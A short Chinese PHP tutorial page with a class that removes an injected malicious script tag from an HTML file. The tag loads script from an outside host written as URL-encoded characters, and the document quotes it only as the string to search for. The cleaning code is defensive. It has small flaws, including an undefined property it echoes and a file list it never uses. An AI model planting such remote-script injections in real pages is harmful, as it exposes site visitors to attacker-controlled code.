手机
当前位置:查字典教程网 >编程开发 >php教程 >php 清除网页病毒的方法
php 清除网页病毒的方法
摘要:清除script病毒

<?php

Class clear_virus{

public $index ='b.html';

public $filepath =array('b.html');

public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";

function open_file(){

if(file_exists($this->index)){

$tmp =file_get_contents($this->index);

if( strrpos($tmp,$this->virus_type)!== false){

$temp =str_replace($this->virus_type,'',$tmp);

$handle =fopen($this->index,'w');

fwrite($handle,$temp);

fclose($handle);

}else{

echo $this->virus_find;

}

}

}

}

$virus =new clear_virus;

$virus->open_file();

?>

清除script 病毒

【php 清除网页病毒的方法】相关文章:

php限制ip地址范围的方法

php curl 获取https请求的2种方法

隐性调用php程序的方法

php函数重载的替代方法

php转换颜色为其反色的方法

PHP正则验证Email的方法

php统计数组元素个数的方法

php替换字符串中间字符为省略号的方法

php 类自动载入的方法

PHP生成plist数据的方法

精品推荐
分类导航